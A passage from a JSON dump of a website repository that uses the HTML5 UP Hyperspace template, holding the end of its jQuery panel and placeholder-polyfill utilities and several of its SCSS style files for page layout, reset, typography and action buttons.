(!config.target.hasClass(config.visibleClass))\r\n\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t// If an event was provided, cancel it.\r\n\t\t\t\t\t\tif (event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Hide.\r\n\t\t\t\t\t\tconfig.target.removeClass(config.visibleClass);\r\n\r\n\t\t\t\t\t// Post-hide stuff.\r\n\t\t\t\t\t\twindow.setTimeout(function() {\r\n\r\n\t\t\t\t\t\t\t// Reset scroll position.\r\n\t\t\t\t\t\t\t\tif (config.resetScroll)\r\n\t\t\t\t\t\t\t\t\t$this.scrollTop(0);\r\n\r\n\t\t\t\t\t\t\t// Reset forms.\r\n\t\t\t\t\t\t\t\tif (config.resetForms)\r\n\t\t\t\t\t\t\t\t\t$this.find('form').each(function() {\r\n\t\t\t\t\t\t\t\t\t\tthis.reset();\r\n\t\t\t\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\t\t}, config.delay);\r\n\r\n\t\t\t\t};\r\n\r\n\t\t\t// Vendor fixes.\r\n\t\t\t\t$this\r\n\t\t\t\t\t.css('-ms-overflow-style', '-ms-autohiding-scrollbar')\r\n\t\t\t\t\t.css('-webkit-overflow-scrolling', 'touch');\r\n\r\n\t\t\t// Hide on click.\r\n\t\t\t\tif (config.hideOnClick) {\r\n\r\n\t\t\t\t\t$this.find('a')\r\n\t\t\t\t\t\t.css('-webkit-tap-highlight-color', 'rgba(0,0,0,0)');\r\n\r\n\t\t\t\t\t$this\r\n\t\t\t\t\t\t.on('click', 'a', function(event) {\r\n\r\n\t\t\t\t\t\t\tvar $a = $(this),\r\n\t\t\t\t\t\t\t\thref = $a.attr('href'),\r\n\t\t\t\t\t\t\t\ttarget = $a.attr('target');\r\n\r\n\t\t\t\t\t\t\tif (!href || href == '#' || href == '' || href == '#' + id)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t\t// Cancel original event.\r\n\t\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t\t// Hide panel.\r\n\t\t\t\t\t\t\t\t$this._hide();\r\n\r\n\t\t\t\t\t\t\t// Redirect to href.\r\n\t\t\t\t\t\t\t\twindow.setTimeout(function() {\r\n\r\n\t\t\t\t\t\t\t\t\tif (target == '_blank')\r\n\t\t\t\t\t\t\t\t\t\twindow.open(href);\r\n\t\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\t\twindow.location.href = href;\r\n\r\n\t\t\t\t\t\t\t\t}, config.delay + 10);\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t}\r\n\r\n\t\t\t// Event: Touch stuff.\r\n\t\t\t\t$this.on('touchstart', function(event) {\r\n\r\n\t\t\t\t\t$this.touchPosX = event.originalEvent.touches[0].pageX;\r\n\t\t\t\t\t$this.touchPosY = event.originalEvent.touches[0].pageY;\r\n\r\n\t\t\t\t})\r\n\r\n\t\t\t\t$this.on('touchmove', function(event) {\r\n\r\n\t\t\t\t\tif ($this.touchPosX === null\r\n\t\t\t\t\t||\t$this.touchPosY === null)\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tvar\tdiffX = $this.touchPosX - event.originalEvent.touches[0].pageX,\r\n\t\t\t\t\t\tdiffY = $this.touchPosY - event.originalEvent.touches[0].pageY,\r\n\t\t\t\t\t\tth = $this.outerHeight(),\r\n\t\t\t\t\t\tts = ($this.get(0).scrollHeight - $this.scrollTop());\r\n\r\n\t\t\t\t\t// Hide on swipe?\r\n\t\t\t\t\t\tif (config.hideOnSwipe) {\r\n\r\n\t\t\t\t\t\t\tvar result = false,\r\n\t\t\t\t\t\t\t\tboundary = 20,\r\n\t\t\t\t\t\t\t\tdelta = 50;\r\n\r\n\t\t\t\t\t\t\tswitch (config.side) {\r\n\r\n\t\t\t\t\t\t\t\tcase 'left':\r\n\t\t\t\t\t\t\t\t\tresult = (diffY < boundary && diffY > (-1 * boundary)) && (diffX > delta);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'right':\r\n\t\t\t\t\t\t\t\t\tresult = (diffY < boundary && diffY > (-1 * boundary)) && (diffX < (-1 * delta));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'top':\r\n\t\t\t\t\t\t\t\t\tresult = (diffX < boundary && diffX > (-1 * boundary)) && (diffY > delta);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'bottom':\r\n\t\t\t\t\t\t\t\t\tresult = (diffX < boundary && diffX > (-1 * boundary)) && (diffY < (-1 * delta));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\tif (result) {\r\n\r\n\t\t\t\t\t\t\t\t$this.touchPosX = null;\r\n\t\t\t\t\t\t\t\t$this.touchPosY = null;\r\n\t\t\t\t\t\t\t\t$this._hide();\r\n\r\n\t\t\t\t\t\t\t\treturn false;\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t// Prevent vertical scrolling past the top or bottom.\r\n\t\t\t\t\t\tif (($this.scrollTop() < 0 && diffY < 0)\r\n\t\t\t\t\t\t|| (ts > (th - 2) && ts < (th + 2) && diffY > 0)) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Prevent certain events inside the panel from bubbling.\r\n\t\t\t\t$this.on('click touchend touchstart touchmove', function(event) {\r\n\t\t\t\t\tevent.stopPropagation();\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Hide panel if a child anchor tag pointing to its ID is clicked.\r\n\t\t\t\t$this.on('click', 'a[href=\"#' + id + '\"]', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\tconfig.target.removeClass(config.visibleClass);\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Body.\r\n\r\n\t\t\t// Event: Hide panel on body click/tap.\r\n\t\t\t\t$body.on('click touchend', function(event) {\r\n\t\t\t\t\t$this._hide(event);\r\n\t\t\t\t});\r\n\r\n\t\t\t// Event: Toggle.\r\n\t\t\t\t$body.on('click', 'a[href=\"#' + id + '\"]', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\tevent.stopPropagation();\r\n\r\n\t\t\t\t\tconfig.target.toggleClass(config.visibleClass);\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Window.\r\n\r\n\t\t\t// Event: Hide on ESC.\r\n\t\t\t\tif (config.hideOnEscape)\r\n\t\t\t\t\t$window.on('keydown', function(event) {\r\n\r\n\t\t\t\t\t\tif (event.keyCode == 27)\r\n\t\t\t\t\t\t\t$this._hide(event);\r\n\r\n\t\t\t\t\t});\r\n\r\n\t\treturn $this;\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Apply \"placeholder\" attribute polyfill to one or more forms.\r\n\t * @return {jQuery} jQuery object.\r\n\t */\r\n\t$.fn.placeholder = function() {\r\n\r\n\t\t// Browser natively supports placeholders? Bail.\r\n\t\t\tif (typeof (document.createElement('input')).placeholder != 'undefined')\r\n\t\t\t\treturn $(this);\r\n\r\n\t\t// No elements?\r\n\t\t\tif (this.length == 0)\r\n\t\t\t\treturn $this;\r\n\r\n\t\t// Multiple elements?\r\n\t\t\tif (this.length > 1) {\r\n\r\n\t\t\t\tfor (var i=0; i < this.length; i++)\r\n\t\t\t\t\t$(this[i]).placeholder();\r\n\r\n\t\t\t\treturn $this;\r\n\r\n\t\t\t}\r\n\r\n\t\t// Vars.\r\n\t\t\tvar $this = $(this);\r\n\r\n\t\t// Text, TextArea.\r\n\t\t\t$this.find('input[type=text],textarea')\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.val() == ''\r\n\t\t\t\t\t||  i.val() == i.attr('placeholder'))\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val(i.attr('placeholder'));\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('blur', function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tif (i.val() == '')\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val(i.attr('placeholder'));\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('focus', function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\tif (i.val() == i.attr('placeholder'))\r\n\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t.removeClass('polyfill-placeholder')\r\n\t\t\t\t\t\t\t.val('');\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Password.\r\n\t\t\t$this.find('input[type=password]')\r\n\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\tvar i = $(this);\r\n\t\t\t\t\tvar x = $(\r\n\t\t\t\t\t\t\t\t$('<div>')\r\n\t\t\t\t\t\t\t\t\t.append(i.clone())\r\n\t\t\t\t\t\t\t\t\t.remove()\r\n\t\t\t\t\t\t\t\t\t.html()\r\n\t\t\t\t\t\t\t\t\t.replace(/type=\"password\"/i, 'type=\"text\"')\r\n\t\t\t\t\t\t\t\t\t.replace(/type=password/i, 'type=text')\r\n\t\t\t\t\t);\r\n\r\n\t\t\t\t\tif (i.attr('id') != '')\r\n\t\t\t\t\t\tx.attr('id', i.attr('id') + '-polyfill-field');\r\n\r\n\t\t\t\t\tif (i.attr('name') != '')\r\n\t\t\t\t\t\tx.attr('name', i.attr('name') + '-polyfill-field');\r\n\r\n\t\t\t\t\tx.addClass('polyfill-placeholder')\r\n\t\t\t\t\t\t.val(x.attr('placeholder')).insertAfter(i);\r\n\r\n\t\t\t\t\tif (i.val() == '')\r\n\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tx.hide();\r\n\r\n\t\t\t\t\ti\r\n\t\t\t\t\t\t.on('blur', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t\t\tvar x = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');\r\n\r\n\t\t\t\t\t\t\tif (i.val() == '') {\r\n\r\n\t\t\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\t\t\t\tx.show();\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t\tx\r\n\t\t\t\t\t\t.on('focus', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t\t\tvar i = x.parent().find('input[name=' + x.attr('name').replace('-polyfill-field', '') + ']');\r\n\r\n\t\t\t\t\t\t\tx.hide();\r\n\r\n\t\t\t\t\t\t\ti\r\n\t\t\t\t\t\t\t\t.show()\r\n\t\t\t\t\t\t\t\t.focus();\r\n\r\n\t\t\t\t\t\t})\r\n\t\t\t\t\t\t.on('keypress', function(event) {\r\n\r\n\t\t\t\t\t\t\tevent.preventDefault();\r\n\t\t\t\t\t\t\tx.val('');\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\t// Events.\r\n\t\t\t$this\r\n\t\t\t\t.on('submit', function() {\r\n\r\n\t\t\t\t\t$this.find('input[type=text],input[type=password],textarea')\r\n\t\t\t\t\t\t.each(function(event) {\r\n\r\n\t\t\t\t\t\t\tvar i = $(this);\r\n\r\n\t\t\t\t\t\t\tif (i.attr('name').match(/-polyfill-field$/))\r\n\t\t\t\t\t\t\t\ti.attr('name', '');\r\n\r\n\t\t\t\t\t\t\tif (i.val() == i.attr('placeholder')) {\r\n\r\n\t\t\t\t\t\t\t\ti.removeClass('polyfill-placeholder');\r\n\t\t\t\t\t\t\t\ti.val('');\r\n\r\n\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t})\r\n\t\t\t\t.on('reset', function(event) {\r\n\r\n\t\t\t\t\tevent.preventDefault();\r\n\r\n\t\t\t\t\t$this.find('select')\r\n\t\t\t\t\t\t.val($('option:first').val());\r\n\r\n\t\t\t\t\t$this.find('input,textarea')\r\n\t\t\t\t\t\t.each(function() {\r\n\r\n\t\t\t\t\t\t\tvar i = $(this),\r\n\t\t\t\t\t\t\t\tx;\r\n\r\n\t\t\t\t\t\t\ti.removeClass('polyfill-placeholder');\r\n\r\n\t\t\t\t\t\t\tswitch (this.type) {\r\n\r\n\t\t\t\t\t\t\t\tcase 'submit':\r\n\t\t\t\t\t\t\t\tcase 'reset':\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'password':\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\r\n\t\t\t\t\t\t\t\t\tx = i.parent().find('input[name=' + i.attr('name') + '-polyfill-field]');\r\n\r\n\t\t\t\t\t\t\t\t\tif (i.val() == '') {\r\n\t\t\t\t\t\t\t\t\t\ti.hide();\r\n\t\t\t\t\t\t\t\t\t\tx.show();\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\telse {\r\n\t\t\t\t\t\t\t\t\t\ti.show();\r\n\t\t\t\t\t\t\t\t\t\tx.hide();\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'checkbox':\r\n\t\t\t\t\t\t\t\tcase 'radio':\r\n\t\t\t\t\t\t\t\t\ti.attr('checked', i.attr('defaultValue'));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tcase 'text':\r\n\t\t\t\t\t\t\t\tcase 'textarea':\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\r\n\t\t\t\t\t\t\t\t\tif (i.val() == '') {\r\n\t\t\t\t\t\t\t\t\t\ti.addClass('polyfill-placeholder');\r\n\t\t\t\t\t\t\t\t\t\ti.val(i.attr('placeholder'));\r\n\t\t\t\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t\tdefault:\r\n\t\t\t\t\t\t\t\t\ti.val(i.attr('defaultValue'));\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t});\r\n\r\n\t\t\t\t});\r\n\r\n\t\treturn $this;\r\n\r\n\t};\r\n\r\n\t/**\r\n\t * Moves elements to/from the first positions of their respective parents.\r\n\t * @param {jQuery} $elements Elements (or selector) to move.\r\n\t * @param {bool} condition If true, moves elements to the top. Otherwise, moves elements back to their original locations.\r\n\t */\r\n\t$.prioritize = function($elements, condition) {\r\n\r\n\t\tvar key = '__prioritize';\r\n\r\n\t\t// Expand $elements if it's not already a jQuery object.\r\n\t\t\tif (typeof $elements != 'jQuery')\r\n\t\t\t\t$elements = $($elements);\r\n\r\n\t\t// Step through elements.\r\n\t\t\t$elements.each(function() {\r\n\r\n\t\t\t\tvar\t$e = $(this), $p,\r\n\t\t\t\t\t$parent = $e.parent();\r\n\r\n\t\t\t\t// No parent? Bail.\r\n\t\t\t\t\tif ($parent.length == 0)\r\n\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t// Not moved? Move it.\r\n\t\t\t\t\tif (!$e.data(key)) {\r\n\r\n\t\t\t\t\t\t// Condition is false? Bail.\r\n\t\t\t\t\t\t\tif (!condition)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Get placeholder (which will serve as our point of reference for when this element needs to move back).\r\n\t\t\t\t\t\t\t$p = $e.prev();\r\n\r\n\t\t\t\t\t\t\t// Couldn't find anything? Means this element's already at the top, so bail.\r\n\t\t\t\t\t\t\t\tif ($p.length == 0)\r\n\t\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t// Move element to top of parent.\r\n\t\t\t\t\t\t\t$e.prependTo($parent);\r\n\r\n\t\t\t\t\t\t// Mark element as moved.\r\n\t\t\t\t\t\t\t$e.data(key, $p);\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t// Moved already?\r\n\t\t\t\t\telse {\r\n\r\n\t\t\t\t\t\t// Condition is true? Bail.\r\n\t\t\t\t\t\t\tif (condition)\r\n\t\t\t\t\t\t\t\treturn;\r\n\r\n\t\t\t\t\t\t$p = $e.data(key);\r\n\r\n\t\t\t\t\t\t// Move element back to its original location (using our placeholder).\r\n\t\t\t\t\t\t\t$e.insertAfter($p);\r\n\r\n\t\t\t\t\t\t// Unmark element as moved.\r\n\t\t\t\t\t\t\t$e.removeData(key);\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t});\r\n\r\n\t};\r\n\r\n})(jQuery);"
  },
  {
    "path": "2022/assets/sass/base/_page.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Basic */\r\n\r\n\t// MSIE: Required for IEMobile.\r\n\t\t@-ms-viewport {\r\n\t\t\twidth: device-width;\r\n\t\t}\r\n\r\n\t// MSIE: Prevents scrollbar from overlapping content.\r\n\t\tbody {\r\n\t\t\t-ms-overflow-style: scrollbar;\r\n\t\t}\r\n\r\n\t// Ensures page width is always >=320px.\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\thtml, body {\r\n\t\t\t\tmin-width: 320px;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t// Set box model to border-box.\r\n\t// Based on css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice\r\n\t\thtml {\r\n\t\t\tbox-sizing: border-box;\r\n\t\t}\r\n\r\n\t\t*, *:before, *:after {\r\n\t\t\tbox-sizing: inherit;\r\n\t\t}\r\n\r\n\tbody {\r\n\t\tbackground: _palette(bg);\r\n\r\n\t\t// Stops initial animations until page loads.\r\n\t\t\t&.is-preload {\r\n\t\t\t\t*, *:before, *:after {\r\n\t\t\t\t\t@include vendor('animation', 'none !important');\r\n\t\t\t\t\t@include vendor('transition', 'none !important');\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t}"
  },
  {
    "path": "2022/assets/sass/base/_reset.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n// Reset.\r\n// Based on meyerweb.com/eric/tools/css/reset (v2.0 | 20110126 | License: public domain)\r\n\r\n\thtml, body, div, span, applet, object,\r\n\tiframe, h1, h2, h3, h4, h5, h6, p, blockquote,\r\n\tpre, a, abbr, acronym, address, big, cite,\r\n\tcode, del, dfn, em, img, ins, kbd, q, s, samp,\r\n\tsmall, strike, strong, sub, sup, tt, var, b,\r\n\tu, i, center, dl, dt, dd, ol, ul, li, fieldset,\r\n\tform, label, legend, table, caption, tbody,\r\n\ttfoot, thead, tr, th, td, article, aside,\r\n\tcanvas, details, embed, figure, figcaption,\r\n\tfooter, header, hgroup, menu, nav, output, ruby,\r\n\tsection, summary, time, mark, audio, video {\r\n\t\tmargin: 0;\r\n\t\tpadding: 0;\r\n\t\tborder: 0;\r\n\t\tfont-size: 100%;\r\n\t\tfont: inherit;\r\n\t\tvertical-align: baseline;\r\n\t}\r\n\r\n\tarticle, aside, details, figcaption, figure,\r\n\tfooter, header, hgroup, menu, nav, section {\r\n\t\tdisplay: block;\r\n\t}\r\n\r\n\tbody {\r\n\t\tline-height: 1;\r\n\t}\r\n\r\n\tol, ul {\r\n\t\tlist-style:none;\r\n\t}\r\n\r\n\tblockquote,\tq {\r\n\t\tquotes: none;\r\n\r\n\t\t&:before,\r\n\t\t&:after {\r\n\t\t\tcontent: '';\r\n\t\t\tcontent: none;\r\n\t\t}\r\n\t}\r\n\r\n\ttable {\r\n\t\tborder-collapse: collapse;\r\n\t\tborder-spacing: 0;\r\n\t}\r\n\r\n\tbody {\r\n\t\t-webkit-text-size-adjust: none;\r\n\t}\r\n\r\n\tmark {\r\n\t\tbackground-color: transparent;\r\n\t\tcolor: inherit;\r\n\t}\r\n\r\n\tinput::-moz-focus-inner {\r\n\t\tborder: 0;\r\n\t\tpadding: 0;\r\n\t}\r\n\r\n\tinput, select, textarea {\r\n\t\t-moz-appearance: none;\r\n\t\t-webkit-appearance: none;\r\n\t\t-ms-appearance: none;\r\n\t\tappearance: none;\r\n\t}"
  },
  {
    "path": "2022/assets/sass/base/_typography.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Type */\r\n\r\n\tbody, input, select, textarea {\r\n\t\tcolor: _palette(fg);\r\n\t\tfont-family: _font(family);\r\n\t\tfont-size: 16.5pt;\r\n\t\tfont-weight: _font(weight);\r\n\t\tline-height: 1.75;\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\tfont-size: 13pt;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\tfont-size: 12pt;\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xxsmall') {\r\n\t\t\tfont-size: 11pt;\r\n\t\t}\r\n\t}\r\n\r\n\ta {\r\n\t\t@include vendor('transition', (\r\n\t\t\t'color #{_duration(transition)} ease',\r\n\t\t\t'border-bottom-color #{_duration(transition)} ease'\r\n\t\t));\r\n\t\tborder-bottom: dotted 1px _palette(fg-light);\r\n\t\tcolor: inherit;\r\n\t\ttext-decoration: none;\r\n\r\n\t\t&:hover {\r\n\t\t\tborder-bottom-color: transparent;\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\tstrong, b {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t}\r\n\r\n\tem, i {\r\n\t\tfont-style: italic;\r\n\t}\r\n\r\n\tp {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t}\r\n\r\n\th1, h2, h3, h4, h5, h6 {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\tline-height: 1.5;\r\n\t\tmargin: 0 0 (_size(element-margin) * 0.25) 0;\r\n\r\n\t\ta {\r\n\t\t\tcolor: inherit;\r\n\t\t\ttext-decoration: none;\r\n\t\t}\r\n\t}\r\n\r\n\th1 {\r\n\t\tfont-size: 2.75em;\r\n\r\n\t\t&.major {\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.65) 0;\r\n\t\t\tposition: relative;\r\n\t\t\tpadding-bottom: 0.35em;\r\n\r\n\t\t\t&:after {\r\n\t\t\t\t@include vendor('background-image', 'linear-gradient(to right, #{_palette(accent1)}, #{_palette(accent3)})');\r\n\t\t\t\t@include vendor('transition', 'max-width #{_duration(transition)} ease');\r\n\t\t\t\tborder-radius: 0.2em;\r\n\t\t\t\tbottom: 0;\r\n\t\t\t\tcontent: '';\r\n\t\t\t\theight: 0.05em;\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\tright: 0;\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\th2 {\r\n\t\tfont-size: 1.75em;\r\n\t}\r\n\r\n\th3 {\r\n\t\tfont-size: 1.1em;\r\n\t}\r\n\r\n\th4 {\r\n\t\tfont-size: 1em;\r\n\t}\r\n\r\n\th5 {\r\n\t\tfont-size: 0.8em;\r\n\t}\r\n\r\n\th6 {\r\n\t\tfont-size: 0.6em;\r\n\t}\r\n\r\n\t@include breakpoint('<=small') {\r\n\t\th1 {\r\n\t\t\tfont-size: 2em;\r\n\t\t}\r\n\r\n\t\th2 {\r\n\t\t\tfont-size: 1.25em;\r\n\t\t}\r\n\r\n\t\th3 {\r\n\t\t\tfont-size: 1em;\r\n\t\t}\r\n\r\n\t\th4 {\r\n\t\t\tfont-size: 0.8em;\r\n\t\t}\r\n\r\n\t\th5 {\r\n\t\t\tfont-size: 0.6em;\r\n\t\t}\r\n\r\n\t\th6 {\r\n\t\t\tfont-size: 0.6em;\r\n\t\t}\r\n\t}\r\n\r\n\tsub {\r\n\t\tfont-size: 0.8em;\r\n\t\tposition: relative;\r\n\t\ttop: 0.5em;\r\n\t}\r\n\r\n\tsup {\r\n\t\tfont-size: 0.8em;\r\n\t\tposition: relative;\r\n\t\ttop: -0.5em;\r\n\t}\r\n\r\n\tblockquote {\r\n\t\tborder-left: solid (_size(border-width) * 4) _palette(border);\r\n\t\tfont-style: italic;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding: (_size(element-margin) / 4) 0 (_size(element-margin) / 4) _size(element-margin);\r\n\t}\r\n\r\n\tcode {\r\n\t\tbackground: _palette(border-bg);\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tfont-family: _font(family-fixed);\r\n\t\tfont-size: 0.9em;\r\n\t\tmargin: 0 0.25em;\r\n\t\tpadding: 0.25em 0.65em;\r\n\t}\r\n\r\n\tpre {\r\n\t\t-webkit-overflow-scrolling: touch;\r\n\t\tfont-family: _font(family-fixed);\r\n\t\tfont-size: 0.9em;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tcode {\r\n\t\t\tdisplay: block;\r\n\t\t\tline-height: 1.75em;\r\n\t\t\tpadding: 1em 1.5em;\r\n\t\t\toverflow-x: auto;\r\n\t\t}\r\n\t}\r\n\r\n\thr {\r\n\t\tborder: 0;\r\n\t\tborder-bottom: solid _size(border-width) _palette(border);\r\n\t\tmargin: _size(element-margin) 0;\r\n\r\n\t\t&.major {\r\n\t\t\tmargin: (_size(element-margin) * 1.5) 0;\r\n\t\t}\r\n\t}\r\n\r\n\t.align-left {\r\n\t\ttext-align: left;\r\n\t}\r\n\r\n\t.align-center {\r\n\t\ttext-align: center;\r\n\t}\r\n\r\n\t.align-right {\r\n\t\ttext-align: right;\r\n\t}"
  },
  {
    "path": "2022/assets/sass/components/_actions.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Actions */\r\n\r\n\tul.actions {\r\n\t\t@include vendor('display', 'flex');\r\n\t\tcursor: default;\r\n\t\tlist-style: none;\r\n\t\tmargin-left: (_size(element-margin) * -0.5);\r\n\t\tpadding-left: 0;\r\n\r\n\t\tli {\r\n\t\t\tpadding: 0 0 0 (_size(element-margin) * 0.5);\r\n\t\t\tvertical-align: middle;\r\n\t\t}\r\n\r\n\t\t&.special {\r\n\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\twidth: 100%;\r\n\t\t\tmargin-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tpadding-left: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.stacked {\r\n\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\tmargin-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tpadding: (_size(element-margin) * 0.65) 0 0 0;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\twidth: calc(100% + #{_size(element-margin) * 0.5});\r\n\r\n\t\t\tli {\r\n\t\t\t\t@include vendor('flex-grow', '1');\r\n\t\t\t\t@include vendor('flex-shrink', '1');\r\n\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t> * {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&.stacked {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t&:not(.fixed) {\r\n\t\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t\tmargin-left: 0;\r\n\t\t\t\twidth: 100% !important;\r\n\r\n\t\t\t\tli {\r\n\t\t\t\t\t@include vendor('flex-grow', '1');\r\n\t\t\t\t\t@include vendor('flex-shrink', '1');\r\n\t\t\t\t\tpadding: (_size(element-margin) * 0.5) 0 0 0;\r\n\t\t\t\t\ttext-align: center;\r\n\t\t\t\t\twidth: 100%;\r\n\r\n\t\t\t\t\t> * {\r\n\t\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\tpadding-top: 